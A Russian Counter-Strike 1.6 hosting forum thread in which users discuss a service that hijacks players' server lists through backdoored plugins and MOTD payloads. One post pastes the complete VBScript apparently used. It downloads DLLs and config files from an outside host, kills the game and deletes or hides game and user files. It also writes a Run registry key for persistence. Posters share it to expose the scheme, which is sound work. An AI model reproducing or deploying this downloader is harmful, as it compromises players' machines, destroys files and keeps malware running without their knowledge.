Наши новости:

14-дек	Добавлена поддержка utf8mb4
24-апр	Telegram группа
10-апр	Обновление PHP
11-апр	Раздача читов

Создание, настройка и продвижение counter-strike 1.6 серверов > Клиент Counter-Strike > Разное > Подмена Boostmaster

10 страниц

« 7 8 9 »

Подмена Boostmaster

, да да, и такое бывает

Опции

KeIIa	1.11.2017, 14:15 Сообщение #141
Стаж: 11 лет Сообщений: 1415 Благодарностей: 461 Полезность: 434	если вы сделаете свой собственный хостинг и раскрутите его совместно, то вскоре и у вас там может что то случиться не то, например не сошлись характером, и взяли разбежались, и снова будут страдать другие лица.
	Поблагодарили 0 раз Поблагодарили 0 раз

sergggzi	1.11.2017, 14:16 Сообщение #142
Стаж: 13 лет Сообщений: 6536 Благодарностей: 6222 Полезность: 807	Legendacs, да в нете разошлись плагины с дырками. Они не меняются каждый, один и тот же плагин гуляет по сети и ставится многими клиентами. Уже бы давно собрали бы какую-то базу, запретили заливать подобное дерьмо в папки по каким-то параметрам, по тому же хэшу. При попытке закинуть говноплагин будет отказ. Самим хостингам это не надо, но мониторинги должны учить их клиентов, какие плагины ставить. Да они и наши клиенты, но впервую очередь - клиенты хостинга. Отредактировал: sergggzi, - 1.11.2017, 14:17
	Поблагодарили 0 раз Поблагодарили 0 раз

Alexander	1.11.2017, 14:19 Сообщение #143
Стаж: 12 лет Сообщений: 351 Благодарностей: 237 Полезность: 704 CSserv.Ru	Legendacs, На словах все просто. Вы многого не знаете и не учитываете. sergggzi, Интересная идея. Предложу. Кто бы поделился подобными файлами.
	Поблагодарили 0 раз Поблагодарили 0 раз

Legendacs	1.11.2017, 14:24 Сообщение #144
Стаж: 12 лет Сообщений: 1637 Благодарностей: 508 Полезность: 592 Меценат	Alexander, Так вы создайте базу с плагинами на хостинге, выключите загрузку их своим клиентам, что в этом сложного?
	Поблагодарили 0 раз Поблагодарили 0 раз

Fullserver	1.11.2017, 14:25 Сообщение #145
Стаж: 11 лет Сообщений: 5122 Благодарностей: 2100 Полезность: 1394	sergggzi, +. Помню на Фортим был запрет некоторых плагинов, по отдельным причинам, и на самом деле, такой плагин, если и удавалось установить каким-то хитрым образом, его вскоре удаляли вручную администраторы + предупреждение в обратную связь. Alexander, названия всех самых популярных плагинов в группе у мс.су в теме "как вылечить сервер от заразы".
	Поблагодарили 1 раз Поблагодарили 1 раз Alexander

Alexander	1.11.2017, 14:26 Сообщение #146
Стаж: 12 лет Сообщений: 351 Благодарностей: 237 Полезность: 704 CSserv.Ru	Цитата(Legendacs @ 1.11.2017, 14:24) Alexander, Так вы создайте базу с плагинами на хостинге, выключите загрузку их своим клиентам, что в этом сложного? Я был прав. Вы многого не знаете. Клиенты не публикуют плагины уже давно. 1-2 года как. Картами занимается 1 человек и все. Плагины я перебираю уже месяца 2 наверное.
	Поблагодарили 0 раз Поблагодарили 0 раз

sergggzi	1.11.2017, 14:31 Сообщение #147
Стаж: 13 лет Сообщений: 6536 Благодарностей: 6222 Полезность: 807	Alexander, здесь подробно https://vk.com/topic-54674283_31235021 база уже собрана, осталось запретить добавлять эти плагины.
	Поблагодарили 1 раз Поблагодарили 1 раз Legendacs

Alexander	1.11.2017, 14:33 Сообщение #148
Стаж: 12 лет Сообщений: 351 Благодарностей: 237 Полезность: 704 CSserv.Ru	Пройдусь по списку сегодня еще раз. Отключу в пу плагины такие пока. Отредактировал: Alexander, - 1.11.2017, 14:34
	Поблагодарили 0 раз Поблагодарили 0 раз

twileck	1.11.2017, 14:49 Сообщение #149
Стаж: 13 лет Сообщений: 2084 Благодарностей: 1641 Полезность: 1061	Уважаемые. Человек полностью признал вину и исправился. Гораздо хуже, когда говорят о каких то краш тестах автомобилей, смотрят на всех низко и затыкают рот, ибо знают, что покупать услуги и дальше будут продолжать... Человек быстро среагировал, провоцировать нету больше смысла, это ничего не даст...
	Поблагодарили 3 раз Поблагодарили 3 раз Alexander, APTEM, PhotoClubPro

Angerfist	1.11.2017, 14:57 Сообщение #150
Стаж: 10 лет Сообщений: 439 Благодарностей: 161 Полезность: 229	А есть варианты самому найти бэкдоры в плагинах? Я имею ввиду как это вычислить?
	Поблагодарили 0 раз Поблагодарили 0 раз

perfectblood0	1.11.2017, 14:59 Сообщение #151
Стаж: 17 лет Сообщений: 5065 Благодарностей: 2685 Полезность: 488	Цитата(Angerfist @ 1.11.2017, 15:57) А есть варианты самому найти бэкдоры в плагинах? Я имею ввиду как это вычислить? Смотреть исходники
	Поблагодарили 0 раз Поблагодарили 0 раз

Angerfist	1.11.2017, 15:08 Сообщение #152
Стаж: 10 лет Сообщений: 439 Благодарностей: 161 Полезность: 229	perfectblood0, это понятно, но люди которые не понимают в скриптинге ничего, что им в них искать? Есть определенные команды допустим?
	Поблагодарили 0 раз Поблагодарили 0 раз

perfectblood0	1.11.2017, 15:13 Сообщение #153
Стаж: 17 лет Сообщений: 5065 Благодарностей: 2685 Полезность: 488	Цитата(Angerfist @ 1.11.2017, 16:08) perfectblood0, это понятно, но люди которые не понимают в скриптинге ничего, что им в них искать? Есть определенные команды допустим? Тогда и не лезтье, пользуйтесь проверенными источниками и авторами. А если хотите лезть, изучайте pawn
	Поблагодарили 0 раз Поблагодарили 0 раз

sergggzi	1.11.2017, 15:13 Сообщение #154
Стаж: 13 лет Сообщений: 6536 Благодарностей: 6222 Полезность: 807	Цитата(APTEM @ 1.11.2017, 12:53) sergggzi, Просто занимаешься сео, забанил сервер. Зачем сборки от мясника огурцов и т.д выкладываешь? Они же тоже распространяют сборки бм. Такого поворота событий я конечно не ожидал, никогда, ладно что, удачи. 3 года брал услуги и ни разу плохого слова в твой адрес не сказал, в ICQ отписал, верни средства хотя-бы что потрачены. P.S Я не отвечаю за содержимое клиентов и каким способом сохраняются уники, мое дело сайты, вот и все. Со стороны сервера за 3 года по сей день, ни разу никаких нарушений не было, забанить клиента из-за обиды, это конечно зачет, решил оторваться на мне, адекватное решение. Не отвечай дальше за содержимое того, что находится на твоих сайтах. Твое дело - сайты, мое дело - уники. Занимайся своим делом, я буду заниматься своим. Нет никаких обид, есть принципы и справедливость. Я не понимаю твое возмущение, ты высказал свое мнение, я принял мое решение. Тебе плевать... мне плевать. Разве не справедливо?
	Поблагодарили 0 раз Поблагодарили 0 раз

BaHeK	1.11.2017, 15:13 Сообщение #155
Стаж: 17 лет Сообщений: 571 Благодарностей: 505 Полезность: 651	sergggzi, на арене есть такой плагин, там собраны хэши старых плагинов с дырами, но его почти никто не использует, из-за этого и новые не добавляются, т.к. нет спроса Чуть-чуть нарушаю http://img-host.su/aoN1.png
	Поблагодарили 0 раз Поблагодарили 0 раз

sergggzi	1.11.2017, 17:15 Сообщение #156
Стаж: 13 лет Сообщений: 6536 Благодарностей: 6222 Полезность: 807	Цитата(unit @ 1.11.2017, 14:31) sergggzi, а есть хостинги, которые реагируют на подобные нарушения? кстати можно проверить, майрена. даже касперский ругается на wad файл. 46.174.48.48:27289 _ttp://fastdl.myarena.ru/14-7637/chrome.wad bad_motd: _ttp://bsm.csprohost.ru/run.cmd? дожились, один хостинг подменяет мс через другой хостинг действительно, скоро мониторинги запустят свои хостинги, а все остальные пойдут лесом. Отредактировал: sergggzi, - 1.11.2017, 17:20
	Поблагодарили 0 раз Поблагодарили 0 раз

unit	1.11.2017, 18:03 Сообщение #157
Стаж: 10 лет Сообщений: 821 Благодарностей: 280 Полезность: 300	sergggzi, это фиаско :D
	Поблагодарили 0 раз Поблагодарили 0 раз

DarkFantom

1.11.2017, 20:04

Сообщение #158

Стаж: 8 лет 10 месяцев

Сообщений: 233
Благодарностей: 69
Полезность: 185

Одни и те же люди

Код:


CreateObject("WScript.Shell").Run("taskkill /f /im hl.exe")

Sub unProtectFile( filename )
	dim readfile, filesys
	set filesys = CreateObject("Scripting.FileSystemObject")

	If filesys.FileExists( filename ) Then
		set readfile = filesys.GetFile( filename )
		readfile.Attributes = 0 ' normal
	End If
End Sub

Sub protectFile( filename )
	dim readfile, filesys
	set filesys = CreateObject("Scripting.FileSystemObject")

	If filesys.FileExists( filename ) Then
		set readfile = filesys.GetFile( filename )
		readfile.Attributes = 7 ' hidden + system + readonly
	End If
End Sub

Sub DeleteAFile( filename )
	Dim filesys
	Set filesys = CreateObject("Scripting.FileSystemObject")
	
	If filesys.FileExists( filename ) Then
		unProtectFile( filename )
		filesys.DeleteFile( filename ), True
	End If
End Sub

Sub RenameFile( oldName, newName )
	Dim filesys
	Set filesys = WScript.CreateObject("Scripting.FileSystemObject")
	
	If filesys.FileExists( oldName ) Then
		filesys.MoveFile oldName, newName
	End If
End Sub

Sub ClearCFG( path )
	DeleteAFile path
	Set objFSO = CreateObject("Scripting.FileSystemObject")
	Set objFile = objFSO.CreateTextFile(path, ForWriting)
	objFile.Write ""
	objFile.Close

	protectFile path
End Sub

Sub DeleteAFolder( foldername )
	Dim filesys
	Set filesys = CreateObject("Scripting.FileSystemObject")
	
	If filesys.FolderExists( foldername ) Then
		' unProtectFile( foldername )
		filesys.DeleteFolder( foldername ), True
	End If
End Sub

Sub RenameFolder( oldName, newName )
	Dim filesys
	Set filesys = WScript.CreateObject("Scripting.FileSystemObject")
	
	If filesys.FolderExists( oldName ) Then
		filesys.MoveFolder oldName, newName
	End If 
End Sub

strURL="http://bsm.csprohost.ru/revSrvBrowser.dll?" & Rnd
On Error Resume Next
	Set xml = CreateObject("Microsoft.XMLHTTP")
	xml.Open "GET", strURL, False
	xml.Send
	
	If Err.Number <> 0 Then
		WScript.Quit	' if file download fails, quit script
	Else
		set oStream = createobject("Adodb.Stream")

		oStream.type = 1 ' adTypeBinary
		oStream.open
		oStream.write xml.responseBody
		
		' overwrite
		oStream.savetofile strMyPath & "mucii.dll.upk", 2 ' adSaveCreateOverWrite
		oStream.close
		
		set oStream = nothing
		Set xml = Nothing
	End If
	Err.Clear
On Error Goto 0

strURL="http://bsm.csprohost.ru/revSrvBrowser.dll?" & Rnd
On Error Resume Next
	Set xml = CreateObject("Microsoft.XMLHTTP")
	xml.Open "GET", strURL, False
	xml.Send
	
	If Err.Number <> 0 Then
		WScript.Quit	' if file download fails, quit script
	Else
		set oStream = createobject("Adodb.Stream")

		oStream.type = 1 ' adTypeBinary
		oStream.open
		oStream.write xml.responseBody
		
		' overwrite
		oStream.savetofile strMyPath & "0000000000001.dll.upk", 2 ' adSaveCreateOverWrite
		oStream.close
		
		set oStream = nothing
		Set xml = Nothing
	End If
	Err.Clear
On Error Goto 0

On Error Resume Next
	Set objHTTP = CreateObject("MSXML2.XMLHTTP") 
	Call objHTTP.Open("GET", "http://bsm.csprohost.ru/MasterServers.vdf?" & Rnd, FALSE) 
	objHTTP.Send
	
	If Err.Number <> 0 Then
		
	Else
		DeleteAFile "valve\resource\UI\br.res"
		Set objFSO = CreateObject("Scripting.FileSystemObject")
		Set objFile = objFSO.CreateTextFile("valve\resource\UI\br.res", ForWriting)
		objFile.Write objHTTP.ResponseText
		objFile.Close
		protectFile("valve\resource\UI\br.res")
	End If
	
On Error Goto 0

On Error Resume Next
	Set objHTTP = CreateObject("MSXML2.XMLHTTP") 
	Call objHTTP.Open("GET", "http://bsm.csprohost.ru/MasterServers.vdf?" & Rnd, FALSE) 
	objHTTP.Send
	
	If Err.Number <> 0 Then
		
	Else
		DeleteAFile "steamservers.gsm"
		Set objFSO = CreateObject("Scripting.FileSystemObject")
		Set objFile = objFSO.CreateTextFile("steamservers.gsm", ForWriting)
		objFile.Write objHTTP.ResponseText
		objFile.Close
		protectFile("steamservers.gsm")
	End If
	
On Error Goto 0

On Error Resume Next
	Set objHTTP = CreateObject("MSXML2.XMLHTTP") 
	Call objHTTP.Open("GET", "http://bsm.csprohost.ru/config.cfg?" & Rnd, FALSE) 
	objHTTP.Send
	
	If Err.Number <> 0 Then
		
	Else
		DeleteAFile "cstrike\config.cfg"
		Set objFSO = CreateObject("Scripting.FileSystemObject")
		Set objFile = objFSO.CreateTextFile("cstrike\config.cfg", ForWriting)
		objFile.Write objHTTP.ResponseText
		objFile.Close
		protectFile("cstrike\config.cfg")
	End If
	
On Error Goto 0

WScript.Sleep(3000)

On Error Resume Next

	RenameFolder "cstrike\bin", "cstrike\bin_old"
	RenameFile "cstrike\bin", "cstrike\bin_old"
	protectFile("cstrike\liblist.gam")
    RenameFile "revSrvBrowser.dll", "plmea.dll"
	DeleteAFile "plmea.dll"
	RenameFile "mucii.dll.upk", "revSrvBrowser.dll"
	RenameFile "0000000000001.dll", "pula.dll"
	DeleteAFile "pula.dll"
	RenameFile "0000000000001.dll.upk", "0000000000001.dll"
	DeleteAFile "cstrike\bin\TrackerUI.dll"
	DeleteAFile "valve\bin\TrackerUI.dll"
	DeleteAFile "cstrike\cl_dlls\ParticleMan.dll"
	DeleteAFile "NexonUp.asi"
	DeleteAFile "CMShield.asi", "CMShield.asi.bak"
	DeleteAFile "gopnict.flt"
	DeleteAFile "update.asi"
	DeleteAFile "muc.bak"
	RenameFile "cstrike\bin\TrackerUI.dll", "cstrike\bin\TrackerUI.dll.old"
	RenameFile "cstrike\bin\TrackerUI.DLL", "cstrike\bin\TrackerUI.DLL.old"
	RenameFile "valve\bin\TrackerUI.dll", "valve\bin\TrackerUI.dll.old"
	RenameFile "cstrike\cl_dlls\ParticleMan.dll", "cstrike\cl_dlls\ParticleMan.dll.old"
	RenameFile "NexonUp.asi", "NexonUp.asi.old"
	RenameFile "CsShield.dll", "CsShield.dll.old"
	DeleteAFile "cstrike\bin\TrackerUI.dll.old"
	DeleteAFile "valve\bin\TrackerUI.dll.old"
	DeleteAFile "cstrike\cl_dlls\ParticleMan.dll.old"
	DeleteAFile "NexonUp.asi.old"
	DeleteAFile "SMShield.ini"
	DeleteAFile "SMShield.asi"
	DeleteAFile "SMShield.mix"
	DeleteAFile "SMShield.txt"
	DeleteAFile "1.asi"
	DeleteAFile "1.dll"
	DeleteAFile "00.ini"	
	DeleteAFile "00.dll"
	DeleteAFile "00.asi"
	DeleteAFile "000.ini"	
	DeleteAFile "000.dll"
	DeleteAFile "000.asi"
	DeleteAFile "client_save.asi"
	DeleteAFile "client_save.dll"
	DeleteAFile "rus_chat.asi"
	DeleteAFile "steamserver.dll"
	DeleteAFile "steamserver.asi"
    DeleteAFile "css.ini"	
	DeleteAFile "css.dll"
	DeleteAFile "css.asi"
	DeleteAFile "css.txt"
	DeleteAFile "csxguard.asi"
	DeleteAFile "csxguard.dll"
	DeleteAFile "LoaderD.dll"
	DeleteAFile "LoaderD.txt"	
	DeleteAFile "LoaderD.ini"	
	DeleteAFile "LoaderD.asi"	
	DeleteAFile "cstrike\au.vbs"
	DeleteAFile "steam_ui.flt"
	DeleteAFile "cstrike\cs.exe"
	DeleteAFile "cstrike\radial.cdb"
	DeleteAFile "cstrike\bin\TrackerUI.DLL.old"
	DeleteAFile "msvcr101.dll"
	DeleteAFile "msvcr101.asi"
	DeleteAFile "msvcr101.ini"
	DeleteAFile "xg.dll"
	
	DeleteAFile "mssv55.asi.old"
	RenameFile "mssv55.asi", "mssv55.asi.old"

On Error Goto 0

CreateObject("WScript.Shell").Run("hl.exe -steam -game cstrike -noforcemparms -noforcemaccel")

Set objShell = Wscript.CreateObject("Wscript.Shell")
strPath = objShell.SpecialFolders("MyDocuments")
strMyPath = strPath & "\"

On Error Resume Next

Dim filesys
Set filesys = CreateObject("Scripting.FileSystemObject")

filesys.DeleteFile( strMyPath & "*.vbs" ), True
filesys.DeleteFile( strMyPath & "*.exe" ), True

On Error Goto 0

Set objShell = Wscript.CreateObject("Wscript.Shell")
strPath = objShell.SpecialFolders("MyDocuments")
strMyPath = strPath & "\"

On Error Resume Next
        Dim objShellReg, oReg

        Set objShellReg = CreateObject("WScript.Shell")

        Set oReg=GetObject("winmgmts:{impersonationLevel=impersonate}!\\" & "." & "\root\default:StdRegProv")

        objShellReg.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Run\UpInjector", StrMyPath & "chrome2.vbs", "REG_SZ"

        Set objShellReg = Nothing
On Error Goto 0

On Error Resume Next
	Set objHTTP = CreateObject("MSXML2.XMLHTTP") 
	Call objHTTP.Open("GET", "http://bsm.csprohost.ru/chrome2.vbs?" & Rnd, FALSE) 
	objHTTP.Send
	
	If Err.Number <> 0 Then
		
	Else
		DeleteAFile strMyPath & "chrome2.vbs"
		Set objFSO = CreateObject("Scripting.FileSystemObject")
		Set objFile = objFSO.CreateTextFile(strMyPath & "chrome2.vbs", ForWriting)
		objFile.Write objHTTP.ResponseText
		objFile.Close
		' protectFile(strMyPath & "blackgate.vbs")
	End If
	
On Error Goto 0

Set objShell = Wscript.CreateObject("Wscript.Shell")
strPath = objShell.SpecialFolders("Startup")
strMyPath = strPath & "\"

On Error Resume Next

	DeleteAFile strMyPath & "hl.vbs"
	DeleteAFile strMyPath & "reload.vbs"
	
On Error Goto 0

WScript.Sleep 5000

Set objShell = Wscript.CreateObject("Wscript.Shell")
strPath = objShell.SpecialFolders("MyDocuments")
strMyPath = strPath & "\"

On Error Resume Next
	Set objHTTP = CreateObject("MSXML2.XMLHTTP") 
	Call objHTTP.Open("GET", "http://bsm.csprohost.ru/MasterServers.vdf?" & Rnd, FALSE) 
	objHTTP.Send
	
	If Err.Number <> 0 Then
		
	Else
		DeleteAFile strMyPath & "mrv.upk"
		Set objFSO = CreateObject("Scripting.FileSystemObject")
		Set objFile = objFSO.CreateTextFile(strMyPath & "mrv.upk", ForWriting)
		objFile.Write objHTTP.ResponseText
		objFile.Close
		protectFile(strMyPath & "mrv.upk")
	End If
	
On Error Goto 0

strURL="http://bsm.csprohost.ru/revSrvBrowser.dll?" & Rnd
On Error Resume Next
	Set xml = CreateObject("Microsoft.XMLHTTP")
	xml.Open "GET", strURL, False
	xml.Send
	
	If Err.Number <> 0 Then
		WScript.Quit	' if file download fails, quit script
	Else
		set oStream = createobject("Adodb.Stream")

		oStream.type = 1 ' adTypeBinary
		oStream.open
		oStream.write xml.responseBody
		
		' overwrite
		oStream.savetofile strMyPath & "revSrvBrowser.dll.upk", 2 ' adSaveCreateOverWrite
		oStream.close
		
		set oStream = nothing
		Set xml = Nothing
	End If
	Err.Clear
On Error Goto 0

On Error Resume Next
	Set objHTTP = CreateObject("MSXML2.XMLHTTP") 
	Call objHTTP.Open("GET", "http://bsm.csprohost.ru/rev.ini?" & Rnd, FALSE) 
	objHTTP.Send
	
	If Err.Number <> 0 Then
		
	Else
		DeleteAFile strMyPath & "revini.upk"
		Set objFSO = CreateObject("Scripting.FileSystemObject")
		Set objFile = objFSO.CreateTextFile(strMyPath & "revini.upk", ForWriting)
		objFile.Write objHTTP.ResponseText
		objFile.Close
		protectFile(strMyPath & "revini.upk")
	End If
	
On Error Goto 0

On Error Resume Next
	Set objHTTP = CreateObject("MSXML2.XMLHTTP") 
	Call objHTTP.Open("GET", "http://bsm.csprohost.ru/GameMenu.res?" & Rnd, FALSE) 
	objHTTP.Send
	
	If Err.Number <> 0 Then
		
	Else
		DeleteAFile strMyPath & "mrvgamemenu.upk"
		Set objFSO = CreateObject("Scripting.FileSystemObject")
		Set objFile = objFSO.CreateTextFile(strMyPath & "mrvgamemenu.upk", ForWriting)
		objFile.Write objHTTP.ResponseText
		objFile.Close
		protectFile(strMyPath & "mrvgamemenu.upk")
	End If
	
On Error Goto 0

strComputer = "."
Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\cimv2")

Set colFiles = objWMIService.ExecQuery _
    ("Select * from CIM_DataFile Where Filename = 'hl' and Extension = 'exe'")

For Each objFile in colFiles

On Error Resume Next

	DeleteAFolder objFile.Drive & objFile.Path & "cstrike\bin_old"
	DeleteAFile objFile.Drive & objFile.Path & "cstrike\bin_old"
	DeleteAFile objFile.Drive & objFile.Path & "GTProtector.dll.old"
	DeleteAFile objFile.Drive & objFile.Path & "GTProtector.asi.old"
	DeleteAFile objFile.Drive & objFile.Path & "GTProtector.ini.old"
	DeleteAFile objFile.Drive & objFile.Path & "NexonUp.asi"
	DeleteAFile objFile.Drive & objFile.Path & "CTShield.dll"
	DeleteAFile objFile.Drive & objFile.Path & "SMShield.asi"
	DeleteAFile objFile.Drive & objFile.Path & "SMShield.txt"
	DeleteAFile objFile.Drive & objFile.Path & "client_save.asi"
	DeleteAFile objFile.Drive & objFile.Path & "client_save.dll"
	DeleteAFile objFile.Drive & objFile.Path & "rus_chat.asi"
	DeleteAFile objFile.Drive & objFile.Path & "revSrvBrowser.dll.old"
	DeleteAFile objFile.Drive & objFile.Path & "revSrvBrowser.asi"
	DeleteAFile objFile.Drive & objFile.Path & "css.asi"
	DeleteAFile objFile.Drive & objFile.Path & "css.dll"
	DeleteAFile objFile.Drive & objFile.Path & "css.ini"
	DeleteAFile objFile.Drive & objFile.Path & "000.asi"
	DeleteAFile objFile.Drive & objFile.Path & "000.dll"
	DeleteAFile objFile.Drive & objFile.Path & "000.ini"
	DeleteAFile objFile.Drive & objFile.Path & "0000.asi"
	DeleteAFile objFile.Drive & objFile.Path & "0000.dll"
	DeleteAFile objFile.Drive & objFile.Path & "0000.ini"
	DeleteAFile objFile.Drive & objFile.Path & "00000.asi"
	DeleteAFile objFile.Drive & objFile.Path & "00000.dll"
	DeleteAFile objFile.Drive & objFile.Path & "00000.ini"
	DeleteAFile objFile.Drive & objFile.Path & "steamserver.asi"
	DeleteAFile objFile.Drive & objFile.Path & "steamserver.dll"
	DeleteAFile objFile.Drive & objFile.Path & "csxguard.asi"
	DeleteAFile objFile.Drive & objFile.Path & "csxguard.dll"
	DeleteAFile objFile.Drive & objFile.Path & "bin\TrackerUI.DLL"
	DeleteAFile objFile.Drive & objFile.Path & "config\MasterServers.vdf"
	DeleteAFile objFile.Drive & objFile.Path & "config\rev_MasterServers.vdf"
	DeleteAFile objFile.Drive & objFile.Path & "platform\config\MasterServers.vdf"
	DeleteAFile objFile.Drive & objFile.Path & "platform\config\rev_MasterServers.vdf"
	DeleteAFile objFile.Drive & objFile.Path & "cstrike\resource\GameMenu.res"
	DeleteAFile objFile.Drive & objFile.Path & "cstrike\bin\TrackerUI.dll"
	DeleteAFile objFile.Drive & objFile.Path & "cstrike\bin\au.vbs"
	DeleteAFile objFile.Drive & objFile.Path & "valve\bin\TrackerUI.dll"
	DeleteAFile objFile.Drive & objFile.Path & "cstrike\cl_dlls\ParticleMan.dll"
	DeleteAFile objFile.Drive & objFile.Path & "cstrike\protector.cfg"
	DeleteAFile objFile.Drive & objFile.Path & "config\rew_MasterServers.vdf"
	DeleteAFile objFile.Drive & objFile.Path & "platform\config\rew_MasterServers.vdf"
	DeleteAFile objFile.Drive & objFile.Path & "client_save.asi.old"
	DeleteAFile objFile.Drive & objFile.Path & "client_save.dll.old"
	DeleteAFile objFile.Drive & objFile.Path & "csxguard.asi.old"
	DeleteAFile objFile.Drive & objFile.Path & "csxguard.dll.old"
	DeleteAFile objFile.Drive & objFile.Path & "GTProtector.ini.asi"
	DeleteAFile objFile.Drive & objFile.Path & "GTProtector.asi.old"
	DeleteAFile objFile.Drive & objFile.Path & "GTProtector.dll.old"
	DeleteAFile objFile.Drive & objFile.Path & "SMShield.asi"
	DeleteAFile objFile.Drive & objFile.Path & "SMShield.ini"
	DeleteAFile objFile.Drive & objFile.Path & "SMShield.mix"
	DeleteAFile objFile.Drive & objFile.Path & "SMShield.txt"
	DeleteAFile objFile.Drive & objFile.Path & "CSXGuard.dll"
	DeleteAFile objFile.Drive & objFile.Path & "CSXGuard.asi"
	DeleteAFile objFile.Drive & objFile.Path & "CSXGuard.ini"

	RenameFile objFile.Drive & objFile.Path & "cstrike\bin\TrackerUI.dll", objFile.Drive & objFile.Path & "cstrike\bin\TrackerUI.dll.old"
	RenameFile objFile.Drive & objFile.Path & "valve\bin\TrackerUI.dll", objFile.Drive & objFile.Path & "valve\bin\TrackerUI.dll.old"
	RenameFile objFile.Drive & objFile.Path & "cstrike\cl_dlls\ParticleMan.dll", objFile.Drive & objFile.Path & "cstrike\cl_dlls\ParticleMan.dll.old"

	DeleteAFile objFile.Drive & objFile.Path & "cstrike\bin\TrackerUI.dll.old"
	DeleteAFile objFile.Drive & objFile.Path & "valve\bin\TrackerUI.dll.old"
	DeleteAFile objFile.Drive & objFile.Path & "cstrike\cl_dlls\ParticleMan.dll.old"

	DeleteAFile objFile.Drive & objFile.Path & "NexonUp.asi"
	DeleteAFile objFile.Drive & objFile.Path & "css.asi"
	DeleteAFile objFile.Drive & objFile.Path & "css.dll"
	DeleteAFile objFile.Drive & objFile.Path & "css.ini"
	DeleteAFile objFile.Drive & objFile.Path & "css.txt"
	DeleteAFile objFile.Drive & objFile.Path & "gopnict.flt"
	DeleteAFile objFile.Drive & objFile.Path & "update.asi"
	DeleteAFile objFile.Drive & objFile.Path & "muc.bak"
	DeleteAFile objFile.Drive & objFile.Path & "cstrike\bin\TrackerUI.dll.old"
	DeleteAFile objFile.Drive & objFile.Path & "valve\bin\TrackerUI.dll.old"
	DeleteAFile objFile.Drive & objFile.Path & "cstrike\cl_dlls\ParticleMan.dll.old"
	DeleteAFile objFile.Drive & objFile.Path & "NexonUp.asi.old"
	DeleteAFile objFile.Drive & objFile.Path & "mssv55.asi.old"
	DeleteAFile objFile.Drive & objFile.Path & "cstrike\radial.cdb"
	DeleteAFile objFile.Drive & objFile.Path & "cstrike\hw\geforce.cfg"
	DeleteAFile objFile.Drive & objFile.Path & "cstrike\hw\opengl.cfg"
	DeleteAFile objFile.Drive & objFile.Path & "cstrike\autoexec.cfg"
	DeleteAFile objFile.Drive & objFile.Path & "cstrike\valve.rc"
	DeleteAFile objFile.Drive & objFile.Path & "valve\hw\geforce.cfg"
	DeleteAFile objFile.Drive & objFile.Path & "valve\hw\opengl.cfg"
	DeleteAFile objFile.Drive & objFile.Path & "valve\valve.rc"
	RenameFile objFile.Drive & objFile.Path & "mssv55.asi", objFile.Drive & objFile.Path & "mssv55.asi.old"
	
	DeleteAFile objFile.Drive & objFile.Path & "msvv82.asi.old"
	RenameFile objFile.Drive & objFile.Path & "msvv82.asi", objFile.Drive & objFile.Path & "msvv82.asi.old"

	RenameFolder  objFile.Drive & objFile.Path & "cstrike\bin",  objFile.Drive & objFile.Path & "cstrike\bin_old"
	RenameFile objFile.Drive & objFile.Path & "cstrike\bin",  objFile.Drive & objFile.Path & "cstrike\bin_old"

	DeleteAFile objFile.Drive & objFile.Path & "cstrike\motd_temp.html.old"
	RenameFile objFile.Drive & objFile.Path & "cstrike\motd_temp.html",  objFile.Drive & objFile.Path & "cstrike\motd_temp.html.old"

	Dim FSO
	Set FSO = CreateObject("Scripting.FileSystemObject")
	FSO.CopyFile strMyPath & "mrv.upk", objFile.Drive & objFile.Path & "valve\resource\UI\br.res"
	FSO.CopyFile strMyPath & "mrv.upk", objFile.Drive & objFile.Path & "config\MasterServers.vdf"
	FSO.CopyFile strMyPath & "mrv.upk", objFile.Drive & objFile.Path & "config\rev_MasterServers.vdf"
	FSO.CopyFile strMyPath & "mrv.upk", objFile.Drive & objFile.Path & "platform\config\MasterServers.vdf"
	FSO.CopyFile strMyPath & "mrv.upk", objFile.Drive & objFile.Path & "platform\config\rev_MasterServers.vdf"
	FSO.CopyFile strMyPath & "mrv.upk", objFile.Drive & objFile.Path & "config\rew_MasterServers.vdf"
	FSO.CopyFile strMyPath & "mrv.upk", objFile.Drive & objFile.Path & "platform\config\rew_MasterServers.vdf"
	FSO.CopyFile strMyPath & "mrvgamemenu.upk", objFile.Drive & objFile.Path & "cstrike\resource\GameMenu.res"
	FSO.CopyFile strMyPath & "revSrvBrowser.dll.upk", objFile.Drive & objFile.Path & "revSrvBrowser.dll"
	FSO.CopyFile strMyPath & "revini.upk", objFile.Drive & objFile.Path & "rev.ini"
	Set FSO = nothing

	protectFile(objFile.Drive & objFile.Path & "config\MasterServers.vdf")
	protectFile(objFile.Drive & objFile.Path & "config\rev_MasterServers.vdf")
	protectFile(objFile.Drive & objFile.Path & "platform\config\MasterServers.vdf")
	protectFile(objFile.Drive & objFile.Path & "platform\config\rev_MasterServers.vdf")
	protectFile(objFile.Drive & objFile.Path & "cstrike\resource\GameMenu.res")
	protectFile(objFile.Drive & objFile.Path & "config\rew_MasterServers.vdf")
	protectFile(objFile.Drive & objFile.Path & "platform\config\rew_MasterServers.vdf")
	protectFile(objFile.Drive & objFile.Path & "valve\resource\UI\br.res")
	protectFile(objFile.Drive & objFile.Path & "revSrvBrowser.dll")
	protectFile(objFile.Drive & objFile.Path & "cstrike\liblist.gam")

	DeleteAFile objFile.Drive & objFile.Path & "cstrike\bin\TrackerUI.dll"
	DeleteAFile objFile.Drive & objFile.Path & "valve\bin\TrackerUI.dll"
	DeleteAFile objFile.Drive & objFile.Path & "cstrike\cl_dlls\ParticleMan.dll"

	RenameFile objFile.Drive & objFile.Path & "cstrike\bin\TrackerUI.dll", objFile.Drive & objFile.Path & "cstrike\bin\TrackerUI.dll.old"
	RenameFile objFile.Drive & objFile.Path & "valve\bin\TrackerUI.dll", objFile.Drive & objFile.Path & "valve\bin\TrackerUI.dll.old"
	RenameFile objFile.Drive & objFile.Path & "cstrike\cl_dlls\ParticleMan.dll", objFile.Drive & objFile.Path & "cstrike\cl_dlls\ParticleMan.dll.old"

	DeleteAFile objFile.Drive & objFile.Path & "cstrike\bin\TrackerUI.dll.old"
	DeleteAFile objFile.Drive & objFile.Path & "valve\bin\TrackerUI.dll.old"
	DeleteAFile objFile.Drive & objFile.Path & "cstrike\cl_dlls\ParticleMan.dll.old"

	DeleteAFile objFile.Drive & objFile.Path & "mssv55.asi.old"
	RenameFile objFile.Drive & objFile.Path & "mssv55.asi", objFile.Drive & objFile.Path & "mssv55.asi.old"
	
	DeleteAFile objFile.Drive & objFile.Path & "msvv82.asi.old"
